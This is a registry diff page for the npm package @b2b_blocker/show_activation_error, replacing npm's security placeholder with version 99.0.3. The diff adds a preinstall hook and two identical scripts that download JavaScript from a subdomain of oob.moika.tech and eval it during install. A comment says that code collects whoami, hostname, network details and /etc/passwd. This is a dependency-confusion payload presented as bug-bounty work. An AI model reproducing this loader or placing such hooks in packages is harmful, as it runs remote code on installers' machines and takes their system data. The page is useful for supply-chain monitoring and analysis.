@b2b_blocker/show_activation_error 0.0.1-security → 99.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @b2b_blocker/show_activation_error might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +11 -3
- package/poc.preinstall.js +18 -0
- package/preinstall.js +18 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@b2b_blocker/show_activation_error",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.3",
|
|
4
|
+
"description": "show_activation_error utilities",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"bug bounty"
|
|
11
|
+
],
|
|
12
|
+
"author": "m0ntana",
|
|
13
|
+
"license": "ISC"
|
|
6
14
|
}
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
const http = require("http");
|
|
2
|
+
const fs = require("fs");
|
|
3
|
+
const path = require("path");
|
|
4
|
+
|
|
5
|
+
const BASE = "oob.moika.tech";
|
|
6
|
+
|
|
7
|
+
const raw = process.env.npm_package_name
|
|
8
|
+
|| (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();
|
|
9
|
+
|
|
10
|
+
const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
|
|
11
|
+
const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");
|
|
12
|
+
|
|
13
|
+
// Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
|
|
14
|
+
http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
|
|
15
|
+
let body = "";
|
|
16
|
+
res.on("data", chunk => { body += chunk; });
|
|
17
|
+
res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
|
|
18
|
+
}).on("error", () => {}).on("timeout", function() { this.destroy(); });
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
const http = require("http");
|
|
2
|
+
const fs = require("fs");
|
|
3
|
+
const path = require("path");
|
|
4
|
+
|
|
5
|
+
const BASE = "oob.moika.tech";
|
|
6
|
+
|
|
7
|
+
const raw = process.env.npm_package_name
|
|
8
|
+
|| (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })();
|
|
9
|
+
|
|
10
|
+
const scope = raw.startsWith("@") ? raw.split("/")[0].slice(1).replace(/[^a-z0-9-]/gi, "-") : "x";
|
|
11
|
+
const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-");
|
|
12
|
+
|
|
13
|
+
// Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only)
|
|
14
|
+
http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
|
|
15
|
+
let body = "";
|
|
16
|
+
res.on("data", chunk => { body += chunk; });
|
|
17
|
+
res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line
|
|
18
|
+
}).on("error", () => {}).on("timeout", function() { this.destroy(); });
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40b2b_blocker%2Fshow_activation_error for more information.
|